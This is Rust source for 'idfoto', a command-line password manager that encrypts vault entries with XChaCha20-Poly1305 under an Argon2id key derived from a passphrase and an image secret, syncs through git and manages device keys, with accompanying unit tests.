let p = prompt_optional("Password (Enter to auto-generate)")?;
|
||||
match p {
|
||||
Some(pw) if !pw.is_empty() => pw,
|
||||
_ => {
|
||||
let gen = generate_password(20);
|
||||
eprintln!("Generated password: {}", gen);
|
||||
gen
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let notes = prompt_optional("Notes (optional)")?;
|
||||
let totp_secret = prompt_optional("TOTP secret (optional)")?;
|
||||
|
||||
let now = now_iso8601();
|
||||
let entry = Entry {
|
||||
name: name.clone(),
|
||||
url: url.clone(),
|
||||
username: username.clone(),
|
||||
password,
|
||||
notes,
|
||||
totp_secret,
|
||||
created_at: now.clone(),
|
||||
updated_at: now.clone(),
|
||||
};
|
||||
|
||||
let entry_id = generate_entry_id();
|
||||
let encrypted = encrypt_entry(&master_key, &entry).context("failed to encrypt entry")?;
|
||||
fs::write(
|
||||
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
|
||||
encrypted,
|
||||
)
|
||||
.context("failed to write entry file")?;
|
||||
|
||||
let mut manifest = read_manifest(&master_key)?;
|
||||
manifest.add_entry(
|
||||
entry_id.clone(),
|
||||
ManifestEntry {
|
||||
name: name.clone(),
|
||||
url,
|
||||
username,
|
||||
updated_at: now,
|
||||
},
|
||||
);
|
||||
write_manifest(&master_key, &manifest)?;
|
||||
|
||||
git_commit(&format!("feat: add entry '{}'", name))?;
|
||||
eprintln!("Entry '{}' added (id: {})", name, entry_id);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn search_and_select(manifest: &Manifest, query: &str) -> Result<(String, ManifestEntry)> {
|
||||
let results = manifest.search(query);
|
||||
if results.is_empty() {
|
||||
bail!("no entries matching '{}'", query);
|
||||
}
|
||||
|
||||
if results.len() == 1 {
|
||||
let (id, entry) = results[0];
|
||||
return Ok((id.clone(), entry.clone()));
|
||||
}
|
||||
|
||||
eprintln!("Multiple matches:");
|
||||
for (i, (id, entry)) in results.iter().enumerate() {
|
||||
eprintln!(
|
||||
" {}) {} (id: {}, url: {})",
|
||||
i + 1,
|
||||
entry.name,
|
||||
id,
|
||||
entry.url.as_deref().unwrap_or("-")
|
||||
);
|
||||
}
|
||||
|
||||
let choice = prompt("Choose entry number")?;
|
||||
let idx: usize = choice.parse::<usize>().context("invalid number")? - 1;
|
||||
if idx >= results.len() {
|
||||
bail!("invalid selection");
|
||||
}
|
||||
|
||||
let (id, entry) = results[idx];
|
||||
Ok((id.clone(), entry.clone()))
|
||||
}
|
||||
|
||||
fn cmd_get(query: String) -> Result<()> {
|
||||
let image_path = get_image_path()?;
|
||||
let master_key = unlock(&image_path)?;
|
||||
|
||||
let manifest = read_manifest(&master_key)?;
|
||||
let (entry_id, _) = search_and_select(&manifest, &query)?;
|
||||
|
||||
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
|
||||
.context("failed to read entry file")?;
|
||||
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
|
||||
|
||||
println!("Name: {}", entry.name);
|
||||
println!(
|
||||
"URL: {}",
|
||||
entry.url.as_deref().unwrap_or("-")
|
||||
);
|
||||
println!(
|
||||
"Username: {}",
|
||||
entry.username.as_deref().unwrap_or("-")
|
||||
);
|
||||
println!("Password: {}", entry.password);
|
||||
if let Some(notes) = &entry.notes {
|
||||
println!("Notes: {}", notes);
|
||||
}
|
||||
if let Some(totp) = &entry.totp_secret {
|
||||
println!("TOTP: {}", totp);
|
||||
}
|
||||
|
||||
// Copy password to clipboard with 30s TTL
|
||||
match arboard::Clipboard::new() {
|
||||
Ok(mut clipboard) => {
|
||||
if clipboard.set_text(&entry.password).is_ok() {
|
||||
eprintln!("Password copied to clipboard (clearing in 30s)");
|
||||
let pw = entry.password.clone();
|
||||
std::thread::spawn(move || {
|
||||
std::thread::sleep(std::time::Duration::from_secs(30));
|
||||
if let Ok(mut cb) = arboard::Clipboard::new() {
|
||||
if let Ok(current) = cb.get_text() {
|
||||
if current == pw {
|
||||
let _ = cb.set_text("");
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
eprintln!("(clipboard unavailable)");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_list() -> Result<()> {
|
||||
let image_path = get_image_path()?;
|
||||
let master_key = unlock(&image_path)?;
|
||||
|
||||
let manifest = read_manifest(&master_key)?;
|
||||
|
||||
let mut entries: Vec<_> = manifest.entries.iter().collect();
|
||||
entries.sort_by(|a, b| a.1.name.to_lowercase().cmp(&b.1.name.to_lowercase()));
|
||||
|
||||
if entries.is_empty() {
|
||||
eprintln!("No entries in vault.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{:<10} {:<30} {:<30} {}", "ID", "Name", "URL", "Username");
|
||||
println!("{}", "-".repeat(80));
|
||||
for (id, entry) in entries {
|
||||
println!(
|
||||
"{:<10} {:<30} {:<30} {}",
|
||||
id,
|
||||
entry.name,
|
||||
entry.url.as_deref().unwrap_or("-"),
|
||||
entry.username.as_deref().unwrap_or("-")
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_edit(query: String) -> Result<()> {
|
||||
let image_path = get_image_path()?;
|
||||
let master_key = unlock(&image_path)?;
|
||||
|
||||
let manifest = read_manifest(&master_key)?;
|
||||
let (entry_id, _) = search_and_select(&manifest, &query)?;
|
||||
|
||||
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
|
||||
.context("failed to read entry file")?;
|
||||
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
|
||||
|
||||
eprintln!("Editing '{}' (Enter to keep current value)", entry.name);
|
||||
|
||||
let name = prompt_with_default("Name", &entry.name)?;
|
||||
let url = prompt_with_default("URL", entry.url.as_deref().unwrap_or(""))?;
|
||||
let url = if url.is_empty() { None } else { Some(url) };
|
||||
let username = prompt_with_default("Username", entry.username.as_deref().unwrap_or(""))?;
|
||||
let username = if username.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(username)
|
||||
};
|
||||
let password = prompt_with_default("Password", &entry.password)?;
|
||||
let notes = prompt_with_default("Notes", entry.notes.as_deref().unwrap_or(""))?;
|
||||
let notes = if notes.is_empty() { None } else { Some(notes) };
|
||||
let totp_secret = prompt_with_default("TOTP secret", entry.totp_secret.as_deref().unwrap_or(""))?;
|
||||
let totp_secret = if totp_secret.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(totp_secret)
|
||||
};
|
||||
|
||||
let now = now_iso8601();
|
||||
let updated_entry = Entry {
|
||||
name: name.clone(),
|
||||
url: url.clone(),
|
||||
username: username.clone(),
|
||||
password,
|
||||
notes,
|
||||
totp_secret,
|
||||
created_at: entry.created_at,
|
||||
updated_at: now.clone(),
|
||||
};
|
||||
|
||||
let encrypted = encrypt_entry(&master_key, &updated_entry).context("failed to encrypt entry")?;
|
||||
fs::write(
|
||||
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
|
||||
encrypted,
|
||||
)
|
||||
.context("failed to write entry file")?;
|
||||
|
||||
let mut manifest = read_manifest(&master_key)?;
|
||||
manifest.add_entry(
|
||||
entry_id,
|
||||
ManifestEntry {
|
||||
name: name.clone(),
|
||||
url,
|
||||
username,
|
||||
updated_at: now,
|
||||
},
|
||||
);
|
||||
write_manifest(&master_key, &manifest)?;
|
||||
|
||||
git_commit(&format!("feat: edit entry '{}'", name))?;
|
||||
eprintln!("Entry '{}' updated.", name);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_rm(query: String) -> Result<()> {
|
||||
let image_path = get_image_path()?;
|
||||
let master_key = unlock(&image_path)?;
|
||||
|
||||
let manifest = read_manifest(&master_key)?;
|
||||
let (entry_id, entry) = search_and_select(&manifest, &query)?;
|
||||
|
||||
let confirm = prompt(&format!("Delete '{}' (id: {})? [y/N]", entry.name, entry_id))?;
|
||||
if confirm.to_lowercase() != "y" {
|
||||
eprintln!("Cancelled.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let entry_path = vault_dir()
|
||||
.join("entries")
|
||||
.join(format!("{}.enc", entry_id));
|
||||
if entry_path.exists() {
|
||||
fs::remove_file(&entry_path).context("failed to remove entry file")?;
|
||||
}
|
||||
|
||||
let mut manifest = read_manifest(&master_key)?;
|
||||
manifest.remove_entry(&entry_id);
|
||||
write_manifest(&master_key, &manifest)?;
|
||||
|
||||
git_commit(&format!("feat: remove entry '{}'", entry.name))?;
|
||||
eprintln!("Entry '{}' removed.", entry.name);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_sync() -> Result<()> {
|
||||
eprintln!("Pulling...");
|
||||
let status = Command::new("git")
|
||||
.args(["pull", "--rebase"])
|
||||
.status()
|
||||
.context("failed to run git pull")?;
|
||||
if !status.success() {
|
||||
bail!("git pull --rebase failed");
|
||||
}
|
||||
|
||||
eprintln!("Pushing...");
|
||||
let status = Command::new("git")
|
||||
.arg("push")
|
||||
.status()
|
||||
.context("failed to run git push")?;
|
||||
if !status.success() {
|
||||
bail!("git push failed");
|
||||
}
|
||||
|
||||
eprintln!("Sync complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ─── Device management ──────────────────────────────────────────────────────
|
||||
|
||||
fn read_devices() -> Result<Vec<DeviceEntry>> {
|
||||
let path = idfoto_dir().join("devices.json");
|
||||
let data = fs::read_to_string(&path).context("failed to read devices.json")?;
|
||||
let devices: Vec<DeviceEntry> = serde_json::from_str(&data).context("failed to parse devices.json")?;
|
||||
Ok(devices)
|
||||
}
|
||||
|
||||
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
|
||||
let data = serde_json::to_string_pretty(devices)?;
|
||||
fs::write(idfoto_dir().join("devices.json"), data).context("failed to write devices.json")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_device_add(name: String) -> Result<()> {
|
||||
use ed25519_dalek::SigningKey;
|
||||
|
||||
let mut devices = read_devices()?;
|
||||
|
||||
// Check for duplicate
|
||||
if devices.iter().any(|d| d.name == name) {
|
||||
bail!("device '{}' already exists", name);
|
||||
}
|
||||
|
||||
// Generate ed25519 keypair
|
||||
let signing_key = SigningKey::generate(&mut OsRng);
|
||||
let verifying_key = signing_key.verifying_key();
|
||||
|
||||
let private_key_hex = hex::encode(signing_key.to_bytes());
|
||||
let public_key_hex = hex::encode(verifying_key.to_bytes());
|
||||
|
||||
// Save private key
|
||||
let config_dir = dirs::config_dir()
|
||||
.context("failed to find config directory")?
|
||||
.join("idfoto");
|
||||
fs::create_dir_all(&config_dir).context("failed to create config directory")?;
|
||||
let key_path = config_dir.join(format!("{}.key", name));
|
||||
fs::write(&key_path, &private_key_hex).context("failed to write private key")?;
|
||||
|
||||
// Set restrictive permissions on the key file (Unix only)
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
fs::set_permissions(&key_path, fs::Permissions::from_mode(0o600))?;
|
||||
}
|
||||
|
||||
// Add to devices.json
|
||||
devices.push(DeviceEntry {
|
||||
name: name.clone(),
|
||||
public_key: public_key_hex,
|
||||
});
|
||||
write_devices(&devices)?;
|
||||
|
||||
git_commit(&format!("feat: add device '{}'", name))?;
|
||||
eprintln!("Device '{}' added.", name);
|
||||
eprintln!("Private key saved to {}", key_path.display());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_device_list() -> Result<()> {
|
||||
let devices = read_devices()?;
|
||||
|
||||
if devices.is_empty() {
|
||||
eprintln!("No devices registered.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{:<20} {}", "Name", "Public Key");
|
||||
println!("{}", "-".repeat(60));
|
||||
for device in &devices {
|
||||
println!("{:<20} {}", device.name, device.public_key);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn cmd_device_revoke(name: String) -> Result<()> {
|
||||
let mut devices = read_devices()?;
|
||||
let initial_len = devices.len();
|
||||
devices.retain(|d| d.name != name);
|
||||
|
||||
if devices.len() == initial_len {
|
||||
bail!("device '{}' not found", name);
|
||||
}
|
||||
|
||||
write_devices(&devices)?;
|
||||
git_commit(&format!("feat: revoke device '{}'", name))?;
|
||||
eprintln!("Device '{}' revoked.", name);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ─── Main ───────────────────────────────────────────────────────────────────
|
||||
|
||||
fn main() -> Result<()> {
|
||||
let cli = Cli::parse();
|
||||
|
||||
match cli.command {
|
||||
Commands::Init { image, output } => cmd_init(image, output),
|
||||
Commands::Add => cmd_add(),
|
||||
Commands::Get { name } => cmd_get(name),
|
||||
Commands::List => cmd_list(),
|
||||
Commands::Edit { name } => cmd_edit(name),
|
||||
Commands::Rm { name } => cmd_rm(name),
|
||||
Commands::Sync => cmd_sync(),
|
||||
Commands::Generate { length } => cmd_generate(length),
|
||||
Commands::Device { action } => match action {
|
||||
DeviceCommands::Add { name } => cmd_device_add(name),
|
||||
DeviceCommands::List => cmd_device_list(),
|
||||
DeviceCommands::Revoke { name } => cmd_device_revoke(name),
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
[package]
|
||||
name = "idfoto-core"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "Core library for idfoto password manager"
|
||||
|
||||
[dependencies]
|
||||
thiserror = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
argon2 = "0.5"
|
||||
chacha20poly1305 = "0.10"
|
||||
rand = "0.8"
|
||||
sha2 = "0.10"
|
||||
ed25519-dalek = { version = "2", features = ["rand_core"] }
|
||||
image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
|
||||
[dev-dependencies]
|
||||
@@ -1,212 +0,0 @@
|
||||
use argon2::{Algorithm, Argon2, Params, Version};
|
||||
use chacha20poly1305::{
|
||||
aead::{Aead, KeyInit},
|
||||
XChaCha20Poly1305, XNonce,
|
||||
};
|
||||
use rand::{rngs::OsRng, RngCore};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::error::{IdfotoError, Result};
|
||||
|
||||
const VERSION_BYTE: u8 = 0x01;
|
||||
const NONCE_LEN: usize = 24;
|
||||
const TAG_LEN: usize = 16;
|
||||
const HEADER_LEN: usize = 1 + NONCE_LEN; // version + nonce
|
||||
|
||||
pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
|
||||
let cipher = XChaCha20Poly1305::new(key.into());
|
||||
|
||||
let mut nonce_bytes = [0u8; NONCE_LEN];
|
||||
OsRng.fill_bytes(&mut nonce_bytes);
|
||||
let nonce = XNonce::from(nonce_bytes);
|
||||
|
||||
let ciphertext = cipher
|
||||
.encrypt(&nonce, plaintext)
|
||||
.map_err(|e| IdfotoError::Encrypt(e.to_string()))?;
|
||||
|
||||
// Output: version(1) || nonce(24) || ciphertext+tag
|
||||
let mut output = Vec::with_capacity(HEADER_LEN + ciphertext.len());
|
||||
output.push(VERSION_BYTE);
|
||||
output.extend_from_slice(&nonce_bytes);
|
||||
output.extend_from_slice(&ciphertext);
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
|
||||
if data.len() < HEADER_LEN + TAG_LEN {
|
||||
return Err(IdfotoError::Format(
|
||||
"data too short to be valid ciphertext".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let version = data[0];
|
||||
if version != VERSION_BYTE {
|
||||
return Err(IdfotoError::Format(format!(
|
||||
"unknown version byte: 0x{:02x}",
|
||||
version
|
||||
)));
|
||||
}
|
||||
|
||||
let nonce = XNonce::from_slice(&data[1..1 + NONCE_LEN]);
|
||||
let ciphertext = &data[HEADER_LEN..];
|
||||
|
||||
let cipher = XChaCha20Poly1305::new(key.into());
|
||||
let plaintext = cipher
|
||||
.decrypt(nonce, ciphertext)
|
||||
.map_err(|_| IdfotoError::Decrypt)?;
|
||||
|
||||
Ok(plaintext)
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct KdfParams {
|
||||
pub argon2_m: u32,
|
||||
pub argon2_t: u32,
|
||||
pub argon2_p: u32,
|
||||
}
|
||||
|
||||
impl Default for KdfParams {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
argon2_m: 65536,
|
||||
argon2_t: 3,
|
||||
argon2_p: 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn derive_master_key(
|
||||
passphrase: &[u8],
|
||||
image_secret: &[u8; 32],
|
||||
salt: &[u8; 32],
|
||||
params: &KdfParams,
|
||||
) -> Result<[u8; 32]> {
|
||||
let argon2_params = Params::new(
|
||||
params.argon2_m,
|
||||
params.argon2_t,
|
||||
params.argon2_p,
|
||||
Some(32),
|
||||
)
|
||||
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
|
||||
|
||||
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
|
||||
|
||||
// Concatenate passphrase + image_secret as the password input
|
||||
let mut password = Vec::with_capacity(passphrase.len() + 32);
|
||||
password.extend_from_slice(passphrase);
|
||||
password.extend_from_slice(image_secret);
|
||||
|
||||
let mut output = [0u8; 32];
|
||||
argon2
|
||||
.hash_password_into(&password, salt, &mut output)
|
||||
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn fast_params() -> KdfParams {
|
||||
KdfParams {
|
||||
argon2_m: 256,
|
||||
argon2_t: 1,
|
||||
argon2_p: 1,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_deterministic() {
|
||||
let passphrase = b"test-passphrase";
|
||||
let image_secret = [0x42u8; 32];
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let key1 = derive_master_key(passphrase, &image_secret, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(passphrase, &image_secret, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_eq!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_different_passphrase() {
|
||||
let image_secret = [0x42u8; 32];
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let key1 = derive_master_key(b"passphrase-one", &image_secret, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(b"passphrase-two", &image_secret, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_different_image_secret() {
|
||||
let passphrase = b"test-passphrase";
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let image_secret1 = [0x11u8; 32];
|
||||
let image_secret2 = [0x22u8; 32];
|
||||
|
||||
let key1 = derive_master_key(passphrase, &image_secret1, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(passphrase, &image_secret2, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn encrypt_decrypt_round_trip() {
|
||||
let key = [0xABu8; 32];
|
||||
let plaintext = b"hello, idfoto!";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
let decrypted = decrypt(&key, &ciphertext).unwrap();
|
||||
|
||||
assert_eq!(decrypted, plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decrypt_wrong_key_fails() {
|
||||
let key = [0xABu8; 32];
|
||||
let wrong_key = [0xCDu8; 32];
|
||||
let plaintext = b"sensitive data";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
let result = decrypt(&wrong_key, &ciphertext);
|
||||
|
||||
assert!(result.is_err());
|
||||
assert!(matches!(result.unwrap_err(), IdfotoError::Decrypt));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decrypt_tampered_data_fails() {
|
||||
let key = [0xABu8; 32];
|
||||
let plaintext = b"sensitive data";
|
||||
|
||||
let mut ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
// Flip a byte in the ciphertext portion (after header)
|
||||
let flip_pos = HEADER_LEN + 2;
|
||||
ciphertext[flip_pos] ^= 0xFF;
|
||||
|
||||
let result = decrypt(&key, &ciphertext);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ciphertext_format_has_correct_structure() {
|
||||
let key = [0x11u8; 32];
|
||||
let plaintext = b"test plaintext for structure check";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
|
||||
// Expected length: 1 (version) + 24 (nonce) + plaintext_len + 16 (tag)
|
||||
let expected_len = 1 + 24 + plaintext.len() + 16;
|
||||
assert_eq!(ciphertext.len(), expected_len);
|
||||
|
||||
// Version byte must be 0x01
|
||||
assert_eq!(ciphertext[0], 0x01);
|
||||
}
|
||||
}
|
||||
@@ -1,194 +0,0 @@
|
||||
use rand::Rng;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
|
||||
/// A single password entry (stored encrypted in entries/<id>.enc).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Entry {
|
||||
pub name: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub url: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub username: Option<String>,
|
||||
pub password: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub notes: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub totp_secret: Option<String>,
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
}
|
||||
|
||||
/// Summary info about an entry (stored in the manifest).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ManifestEntry {
|
||||
pub name: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub url: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub username: Option<String>,
|
||||
pub updated_at: String,
|
||||
}
|
||||
|
||||
/// The vault manifest — maps entry IDs to their metadata.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Manifest {
|
||||
pub entries: HashMap<String, ManifestEntry>,
|
||||
pub version: u32,
|
||||
}
|
||||
|
||||
impl Manifest {
|
||||
pub fn new() -> Self {
|
||||
Manifest {
|
||||
entries: HashMap::new(),
|
||||
version: 1,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn add_entry(&mut self, id: String, entry: ManifestEntry) {
|
||||
self.entries.insert(id, entry);
|
||||
}
|
||||
|
||||
pub fn remove_entry(&mut self, id: &str) -> Option<ManifestEntry> {
|
||||
self.entries.remove(id)
|
||||
}
|
||||
|
||||
pub fn search(&self, query: &str) -> Vec<(&String, &ManifestEntry)> {
|
||||
let q = query.to_lowercase();
|
||||
self.entries
|
||||
.iter()
|
||||
.filter(|(_, e)| {
|
||||
e.name.to_lowercase().contains(&q)
|
||||
|| e.url
|
||||
.as_deref()
|
||||
.map(|u| u.to_lowercase().contains(&q))
|
||||
.unwrap_or(false)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for Manifest {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate a random 8-character hex string to use as an entry ID.
|
||||
pub fn generate_entry_id() -> String {
|
||||
let mut rng = rand::thread_rng();
|
||||
let bytes: [u8; 4] = rng.gen();
|
||||
bytes.iter().map(|b| format!("{:02x}", b)).collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn entry_serialization_round_trip() {
|
||||
let entry = Entry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
password: "s3cr3t".to_string(),
|
||||
notes: None,
|
||||
totp_secret: None,
|
||||
created_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
};
|
||||
|
||||
let json = serde_json::to_string(&entry).unwrap();
|
||||
let decoded: Entry = serde_json::from_str(&json).unwrap();
|
||||
|
||||
assert_eq!(decoded.name, entry.name);
|
||||
assert_eq!(decoded.url, entry.url);
|
||||
assert_eq!(decoded.username, entry.username);
|
||||
assert_eq!(decoded.password, entry.password);
|
||||
assert_eq!(decoded.notes, entry.notes);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_add_and_lookup() {
|
||||
let mut manifest = Manifest::new();
|
||||
let me = ManifestEntry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
};
|
||||
manifest.add_entry("abc12345".to_string(), me);
|
||||
|
||||
assert!(manifest.entries.contains_key("abc12345"));
|
||||
assert_eq!(manifest.entries["abc12345"].name, "GitHub");
|
||||
|
||||
let removed = manifest.remove_entry("abc12345");
|
||||
assert!(removed.is_some());
|
||||
assert!(!manifest.entries.contains_key("abc12345"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_serialization_round_trip() {
|
||||
let mut manifest = Manifest::new();
|
||||
manifest.add_entry(
|
||||
"deadbeef".to_string(),
|
||||
ManifestEntry {
|
||||
name: "Gmail".to_string(),
|
||||
url: Some("https://mail.google.com".to_string()),
|
||||
username: Some("user@gmail.com".to_string()),
|
||||
updated_at: "2024-06-01T00:00:00Z".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
let json = serde_json::to_string(&manifest).unwrap();
|
||||
let decoded: Manifest = serde_json::from_str(&json).unwrap();
|
||||
|
||||
assert_eq!(decoded.version, 1);
|
||||
assert!(decoded.entries.contains_key("deadbeef"));
|
||||
assert_eq!(decoded.entries["deadbeef"].name, "Gmail");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn generate_entry_id_is_8_hex_chars() {
|
||||
let id = generate_entry_id();
|
||||
assert_eq!(id.len(), 8);
|
||||
assert!(id.chars().all(|c| c.is_ascii_hexdigit()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_search_case_insensitive() {
|
||||
let mut manifest = Manifest::new();
|
||||
manifest.add_entry(
|
||||
"id001".to_string(),
|
||||
ManifestEntry {
|
||||
name: "GitHub Account".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: None,
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
},
|
||||
);
|
||||
manifest.add_entry(
|
||||
"id002".to_string(),
|
||||
ManifestEntry {
|
||||
name: "Work Email".to_string(),
|
||||
url: Some("https://mail.example.com".to_string()),
|
||||
username: None,
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
// partial name match, case-insensitive
|
||||
let results = manifest.search("github");
|
||||
assert_eq!(results.len(), 1);
|
||||
assert_eq!(results[0].1.name, "GitHub Account");
|
||||
|
||||
// partial URL match
|
||||
let results = manifest.search("mail.example");
|
||||
assert_eq!(results.len(), 1);
|
||||
assert_eq!(results[0].1.name, "Work Email");
|
||||
|
||||
// no match
|
||||
let results = manifest.search("nonexistent");
|
||||
assert_eq!(results.len(), 0);
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
use thiserror::Error;
|
||||
|
||||
#[derive(Debug, Error)]
|
||||
pub enum IdfotoError {
|
||||
#[error("key derivation failed: {0}")]
|
||||
Kdf(String),
|
||||
|
||||
#[error("encryption failed: {0}")]
|
||||
Encrypt(String),
|
||||
|
||||
#[error("decryption failed: wrong key or corrupted data")]
|
||||
Decrypt,
|
||||
|
||||
#[error("invalid vault format: {0}")]
|
||||
Format(String),
|
||||
|
||||
#[error("entry not found: {0}")]
|
||||
EntryNotFound(String),
|
||||
|
||||
#[error("imgsecret: {0}")]
|
||||
ImgSecret(String),
|
||||
|
||||
#[error("image too small: need at least {min_width}x{min_height}, got {actual_width}x{actual_height}")]
|
||||
ImageTooSmall {
|
||||
min_width: u32,
|
||||
min_height: u32,
|
||||
actual_width: u32,
|
||||
actual_height: u32,
|
||||
},
|
||||
|
||||
#[error("extraction failed: no valid secret found in image")]
|
||||
ExtractionFailed,
|
||||
|
||||
#[error("json error: {0}")]
|
||||
Json(#[from] serde_json::Error),
|
||||
|
||||
#[error("device key error: {0}")]
|
||||
DeviceKey(String),
|
||||
}
|
||||
|
||||
pub type Result<T> = std::result::Result<T, IdfotoError>;
|
||||
@@ -1,13 +0,0 @@
|
||||
pub mod error;
|
||||
pub use error::{IdfotoError, Result};
|
||||
|
||||
pub mod crypto;
|
||||
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams};
|
||||
|
||||
pub mod entry;
|
||||
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
|
||||
|
||||
pub mod vault;
|
||||
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
|
||||
|
||||
pub mod imgsecret;
|
||||
@@ -1,99 +0,0 @@
|
||||
use crate::crypto;
|
||||
use crate::entry::{Entry, Manifest};
|
||||
use crate::error::Result;
|
||||
|
||||
pub fn encrypt_entry(master_key: &[u8; 32], entry: &Entry) -> Result<Vec<u8>> {
|
||||
let json = serde_json::to_vec(entry)?;
|
||||
crypto::encrypt(master_key, &json)
|
||||
}
|
